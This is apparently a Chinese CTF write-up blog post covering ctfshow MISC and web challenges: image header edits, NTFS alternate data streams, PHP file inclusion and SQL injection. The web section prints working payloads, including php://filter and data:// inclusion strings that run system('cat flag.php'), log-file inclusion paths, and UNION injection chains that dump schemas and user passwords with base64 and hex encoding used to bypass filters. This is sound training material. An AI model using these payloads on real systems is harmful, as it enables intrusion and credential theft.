0X00

MISC

(stega2)

提示是一张flag.png文件,想想修改宽高,原00 00 01 A0改为00 00 03 A0

stega3

打开还是一张图片,winhex看一下也是不怎么有想法,

看看其他的师傅,NTFS隐写

360压缩可以无视NTFS隐写,下载360压缩

这个是第一次看到......

NTFS数据流

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息。

 也就是主文件里面还有其他文件,有点像文件包含

 打开flag.txt

BJDCTFMISC签到

解压不了吗,winhex打开,png文件,改成后缀就可以了,改成png。

 web78

 文件包含的主要特征就是出现include,我们想用伪协议来读取文件,php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

 读取到的内容base64解码

 web79

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

出现新的函数str_replace(),查了之后就是替换字符的意思

也就是它会把file中的php替换成???,中间的为最后的字符,所以这里就不能用file://php文件来读取了,我们用data来读取,换句话说也就是我们这里的php被过滤了。
?file=data://text/plain,<?pHp system('cat flag.php');?>
?file=data://text/plain,<?= system('cat flag.php');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

 第一个是运用大小写进行绕过的,第二个是用短标签进行绕过的,第三个是用base64编码进行绕过的。

查看源代码就可以看到了。

web80

题目这一次做了更多的限制,php和data协议都不可以用了

但是这一次还是正常的文件包含,

cc一下,以下是两种日志文件的路径

/var/log/nginx/access.log
/var/log/apache2/access.log

环境是nginx的,有一个nginx访问日志/var/log/nginx/access.log 

?file=/var/log/nginx/access.log

    访问之后有ip、时间、参数值、user-agent ,抓包     发现文件

                                    

 查看文件

 web171(万能密码)

sql注入,先要找到闭合方式

1和1"都是一样的,但是1'不一样,就可以判断是单引号闭合方式

 知道字段数是3

 后面的语句就都差不多了

看看回显,2显示

1' union select 1,2,3%23

 查库了

1' union select 1,database(),3%23

 爆出数据库

1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

查表

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

 查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23

 查内容

-1'union select 1,group_concat(username,password),3 from ctfshow_user%23

还有一种做法,就是万能密码

where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

前面的select语句就会显示结果了

-1' or 1%23

 ' or 1=1 %23

 -1' or 1=1 %23

web172(内容被过滤,base64编码)

 先看第一张表

但是没有内容,应该是最后的内容被过滤了

 编码绕过,还是第一次见

-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23

字段
1' order by 4%23    异常
1' order by 3%23    正常

数据库
1' union select 1,database(),3%23
1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

表名
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23    #有两张表,第二张是这关的

字段
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23

数据
-1'union select 1,group_concat(username,password),3 from ctfshow_user2%23

base64编码

-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23

 这一题与前面那题差不多,就是最后内容被过滤了,需要进行一下绕过。

web173(内容被过滤,hex编码)

与上面的差不多就是换了一个函数,也是内容被过滤了

hex编码绕过

-1' union select 1,hex(password),3 from ctfshow_user3 where username="flag"%23

解码的时候也就要hex解码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值